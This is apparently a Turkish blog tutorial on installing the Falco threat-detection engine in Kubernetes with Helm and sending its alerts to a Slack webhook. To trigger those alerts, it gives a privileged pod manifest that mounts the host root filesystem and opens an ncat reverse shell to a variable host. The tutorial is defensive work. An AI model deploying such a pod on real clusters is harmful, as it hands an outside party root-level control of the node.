Kubernetes Falco kurulumu ve Slack entegrasyonu — DevSecOps

Bugün sizlerle Kubernetes kümemize Falco kurup güvenlik bildirimlerini Slack üzerinden alabileceğimiz bir yapı kurgulayacağız.

Öncelikle Falco nedir?

Falco temelde bir Kubernetes tehdit algılama motorudur. Uygulamalarınızı ve konteynerlerinizi izler ve çalışma zamanında tehditleri algılar. Falco eklentileri sayesinde aynı zamanda bulut ortamlarında da sağlıklı bir şekilde çalışabilir.

Falco’nun tetikleneceği kuralları istediğiniz gibi düzenleyebilirsiniz. Örneğin beklenmedik Kubernetes şüpheli API isteklerini algılayabilir, uygulamalarınıza yapılan beklenmedik erişimleri (örneğin postgresql operatörünüze kubectl exec /bin/sh/ yoluyla beklenmedik bir terminal açılması gibi) veya worker/master node’larınıza yapılan işletim sistemi düzeyindeki operasyonlardan (sunucunun /etc klasörü altında beklenmedik dosya oluşturulması gibi) anında haberdar olabilirsiniz.

Slack nedir?

Slack, diğer mesajlaşma uygulamalarına göre ekip içi iletişime yarayan bir program olarak görülür. Sektör içinde bulunan dosyaları, duyuruları veya paylaşımları kanala eklenmiş olan herkes ulaşabilir.

Bizde bu projede Falco ile tespit ettiğimiz uyarı Slack kanalına yönlendireceğiz. Bu şekilde mobil/web/masaüstü her an Kubernetes kümemizdeki şüpheli aktiviteleri izleyebiliriz.

Slack kanalı oluşturma ve konfigürasyon

Falco kuruluma geçmeden önce Falco’nun kullanabileceği bir Slack kanalı oluşturmamız gerekiyor.

Slack adresine gidip giriş yaptıktan/kayıt olduktan sonra aşağıdaki bardan “CREATE A NEW WORKSPACE” butonuna tıklıyoruz.

Workspace’e bir isim verip “Next” butonuna tıklıyoruz.

Demo için takıma kimseyi davet etmeden “Skip this step” seçeneği ile devam ediyoruz.

Açıklama kısmını doldurduktan sonra “Next” butonu ile workspace oluşturma işlemimizi tamamlıyoruz.

Sonrasında Falco bildirimlerini alabilmek için bir kanal oluşturuyoruz.

Şimdi Falco’nun uyarıları gönderebileceği bir endpoint oluşturabilmek için https://api.slack.com adresine gidiyoruz ve “Create an app” butonuna tıklıyoruz.

“From scratch” seçeneğiyle devam ediyoruz.

Uygulamamıza isim verdikten sonra az önce oluşturmuş olduğumuz workspace’i seçerek “Create App” butonuna tıklıyoruz.

Açılan sayfada “Incoming Webhooks” yazısına tıklıyoruz

“Off” yazısına tıklayarak özelliği aktif ediyoruz.

“Add New Webhook to Workspace” yazısına tıklıyoruz.

Falco uyarıları için oluşturduğumuz kanalı seçip “Allow” butonuna tıklıyoruz.

Endpoint’imiz hazır. Endpoint URL adresini biraz sonra helm ile Falco kurulumu yaparken kullanacağız.

Falco kurulumu

Helm aracılığıyla hızlı bir şekilde Falco kurulumumuzu gerçekleştirebiliriz.

Aşağıdaki komutu “Webhook URL” kısmını bir önceki aşamada oluşturduğumuz URL ile çalıştırın.

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

helm install falco -n falco falcosecurity/falco \
--set falcosidekick.enabled=true \
--set falcosidekick.webui.enabled=true \
--set auditLog.enabled=true \
--set falco.jsonOutput=true \
--set falco.fileOutput.enabled=true \
--create-namespace \
--set falcosidekick.config.slack.webhookurl="<Webhook URL>"

Komutu çalıştırdıktan bir süre sonra “kubectl get pod -n falco” komutunun çıktısı aşağıdaki gibi olmalıdır.

Falco kurulumumuz başarılı. Şimdi doğru çalışıp çalışmadığını test edelim.

Worker/Master klasörlerine erişim

Şimdi master1 node’umun /etc klasörünün altında bir dosya oluşturacağım ve Slack kanalında anında kritik bir bildirim alacağız.

Komutu çalıştırdıktan sonra Slack kanalımızda “Error” seviyesinde yapılan işlemlerin detaylarını da içeren bir bildirim aldık.

Riskli uygulama çalıştırma

Şimdi Kubernetes kümemizde gereksiz birçok yetkiye sahip zararlı bir POD çalıştıralım ve Falco uyarılarını gözlemeyelim.

Çalıştıracağımız POD’un YAML dosyası:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-revshell-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /

POD’u çalıştırdıktan aşağıdaki gibi onlarca bildirim Slack kanalında belirdi.

Bütün bildirimleri bilgisayar başında olmasanız dahi telefonunuza yükleyeceğiniz Slack uygulamasıyla alabilirsiniz.

Falco varsayılan olarak birçok şüpheli etkinliği tespit edebilecek kurallarla geliyor fakat siz isterseniz kendi kurallarınızı oluşturabilir daha güvenli bir Kubernetes kümesine sahip olabilirsiniz.

Falco Kuralları

Umarım okurken ve uygularken keyif almışsınızdır.

Bir sonraki yazıda görüşmek üzere :)

Diğer yazılarıma buraya tıklayarak ulaşabilirsiniz.

Mail | LinkedIn

--

--